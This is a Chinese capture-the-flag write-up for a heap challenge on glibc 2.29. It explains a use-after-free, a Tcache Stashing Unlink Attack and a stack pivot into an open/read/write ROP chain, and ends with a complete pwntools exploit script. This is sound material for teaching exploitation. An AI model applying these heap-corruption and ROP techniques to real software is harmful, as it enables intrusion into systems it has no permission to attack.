[2020 新春红包题]3:
程序分析:
禁用了execve,没有canary
程序功能齐全,index可以自己定,add用的是calloc,(calloc不会从tcache取chunk,calloc申请时会清零)
就是有一些限制:
最多add0x1c次
edit只有一次
add长度固定1.0x10 2.0xf0 3.0x300 4.0x400
还存在后门,满足heap0x1000+0x800处大于0x7f0000000000就可以有个栈溢出
漏洞点:
存在uaf和栈溢出
解题思路:
用tcache tashing unlink的攻击方法
改heap0x1000+0x800处写入main_arena地址,然后溢出栈迁移到堆中写入的orw链读取flag
具体步骤:
0x01 uaf泄露heap_base,libc_base:
填满7个tcache 0x410,释放到unsortbin中,泄露libc
tcache中填6个相同smallbin范围内的chunk
为了使用Tcache Stashing Unlink Attack,我们需要先向0x100大小的Tcache
Bin释放6个Chunk,这样,在将我们伪造的Fake_chunk放入Tcache Bin区域时,Tcache
Bin区域将会填满,程序不会继续通过我们伪造的bk指针向后继续遍历
for i in range(7):
add(0,4,'0x410')
free(0)
for i in range(6):
add(1,2,'0x100')
free(1)
show(1)
heap_base=uu64(rc(6))-0x32e0
info('heap_base',heap_base)
add(0,4,'0x410')
add(2,1,'0x20')
free(0)
show(0)
libc_base=uu64(ru('\x7f')[-6:])-96-0x10-libc.sym['__malloc_hook']
info('libc_base',libc_base)
0x02 small bin中放入两个chunk:
申请堆块如果unsortbin大小不足,则会把unsortbin割剩下的堆块放入对应bin中,这里0x100是smallbin范围,所以放入smallbin
add(3,3,'0x310')
add(3,3,'0x310')#0x100smallbin1
add(4,4,'0x410')
add(1,3,'0x310')
free(4)
add(5,3,'0x310')
add(5,3,'0x310')#0x100smallbin2
0x03 tcache Stashing Unlnk写入值:
uaf在释放到unsortbin的堆写入,控制smallbin2的fd,bk
由于tache中有6个,再释放一个填满,所以只会检查fd是不是指向smallbin1
然后main_arena的地址会写入addr_we_want2write
addr_we_want2write=heap_base+0x250+0x800
smallbin1_addr=heap_base+0x37e0
payload=flat('a'*0x300,0,0x101,smallbin1_addr,addr_we_want2write)
edit(4,payload)
add(6,2,'0x100')
可以看到已经成功改写了
0x04 堆中写入orw链,栈迁移执行
pop_rdi=0x26542+libc_base
pop_rsi=0x26f9e+libc_base
pop_rdx=0x12bda6+libc_base
pop_rax=0x47cf8+libc_base
leave_ret=0x58373+libc_base
orw='flag'+p32(0)
heap6_addr=heap_base+0x4650
orw+=flat(pop_rdi,heap6_addr,pop_rsi,0,libc.sym['open']+libc_base)
orw+=flat(pop_rdi,3,pop_rsi,heap6_addr+0x200,pop_rdx,0x50,libc.sym['read']+libc_base)
orw+=flat(pop_rdi,1,pop_rsi,heap6_addr+0x200,pop_rdx,0x50,libc.sym['write']+libc_base)
add(6,4,orw)
sla('Your input: ','666')
sa('What do you want to say?','a'*0x80+p64(heap6_addr)+p64(leave_ret))
完整exp:
from pwn import *
local_file = './RedPacket_SoEasyPwn1'
local_libc = './libc-2.29.so'
remote_libc = './libc-2.29.so'
select = 0
if select == 0:
r = process(local_file)
libc = ELF(local_libc)
else:
r = remote('node4.buuoj.cn',29412 )
libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, b'\0'))
uu64 = lambda data :u64(data.ljust(8, b'\0'))
info = lambda tag, addr :r.info(tag + ': {:#x}'.format(addr))
def debug(cmd=''):
gdb.attach(r,cmd)
#------------------------
def add(idx,choose,content):
sla('Your input: ','1')
sla('Please input the red packet idx: ',str(idx))
sla('How much do you want?(1.0x10 2.0xf0 3.0x300 4.0x400): ',str(choose))
sla('Please input content: ',content)
def free(idx):
sla('Your input: ','2')
sla('Please input the red packet idx: ',str(idx))
def edit(idx,content):
sla('Your input: ','3')
sla('Please input the red packet idx: ',str(idx))
sla('Please input content: ',content)
def show(idx):
sla('Your input: ','4')
sla('Please input the red packet idx: ',str(idx))
#----------------------------------------------------
for i in range(7):
add(0,4,'0x410')
free(0)
for i in range(6):
add(1,2,'0x100')
free(1)
show(1)
heap_base=uu64(rc(6))-0x32e0
info('heap_base',heap_base)
add(0,4,'0x410')
add(2,1,'0x20')
free(0)
show(0)
libc_base=uu64(ru('\x7f')[-6:])-96-0x10-libc.sym['__malloc_hook']
info('libc_base',libc_base)
#------------------------------
add(3,3,'0x310')
add(3,3,'0x310')#0x100smallbin1
add(4,4,'0x410')
add(1,3,'0x310')
free(4)
add(5,3,'0x310')
add(5,3,'0x310')#0x100smallbin2
#------------------------------
addr_we_want2write=heap_base+0x250+0x800
smallbin1_addr=heap_base+0x37e0
payload=flat('a'*0x300,0,0x101,smallbin1_addr,addr_we_want2write)
edit(4,payload)
add(6,2,'0x100')
#-----------------------------------
pop_rdi=0x26542+libc_base
pop_rsi=0x26f9e+libc_base
pop_rdx=0x12bda6+libc_base
pop_rax=0x47cf8+libc_base
leave_ret=0x58373+libc_base
orw='flag'+p32(0)
heap6_addr=heap_base+0x4650
orw+=flat(pop_rdi,heap6_addr,pop_rsi,0,libc.sym['open']+libc_base)
orw+=flat(pop_rdi,3,pop_rsi,heap6_addr+0x200,pop_rdx,0x50,libc.sym['read']+libc_base)
orw+=flat(pop_rdi,1,pop_rsi,heap6_addr+0x200,pop_rdx,0x50,libc.sym['write']+libc_base)
add(6,4,orw)
sla('Your input: ','666')
sa('What do you want to say?','a'*0x80+p64(heap6_addr)+p64(leave_ret))
#debug()
r.interactive()